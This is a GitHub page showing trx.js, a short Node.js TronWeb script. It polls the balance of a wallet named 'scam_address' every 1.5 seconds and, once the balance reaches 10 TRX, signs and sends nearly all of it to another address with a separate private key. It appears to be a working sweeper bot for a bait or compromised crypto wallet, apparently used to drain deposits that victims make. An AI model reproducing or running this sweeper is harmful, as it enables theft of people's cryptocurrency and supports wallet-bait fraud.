-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathtrx.js
More file actions
36 lines (31 loc) · 1.16 KB
/
trx.js
File metadata and controls
36 lines (31 loc) · 1.16 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
const TronWeb = require('tronweb')
const scam_address = ''
const real_private_key = ''
const send_to = ''
async function main(){
try{
const tronWeb = new TronWeb({
fullHost: 'https://api.trongrid.io',
})
let check_it = setInterval(async function () {
try{
let balance = await tronWeb.trx.getBalance(scam_address)
console.log(`Current balance ${balance}`)
let sac = true
if (balance/1000000 >= 10){
const withdraw_amount = balance - 2000000
console.log(`Withdrawing ${withdraw_amount} TRX`)
const first_tx = await tronWeb.transactionBuilder.sendTrx(send_to, withdraw_amount, scam_address);
let signed_tx = await tronWeb.trx.multiSign(first_tx, real_private_key, 0)
let asd = await tronWeb.trx.sendRawTransaction(signed_tx)
console.log(asd)
}
}catch (err){
console.log(err.message)
}
}, 1500);
}catch (err){
console.log(err)
}
}
main()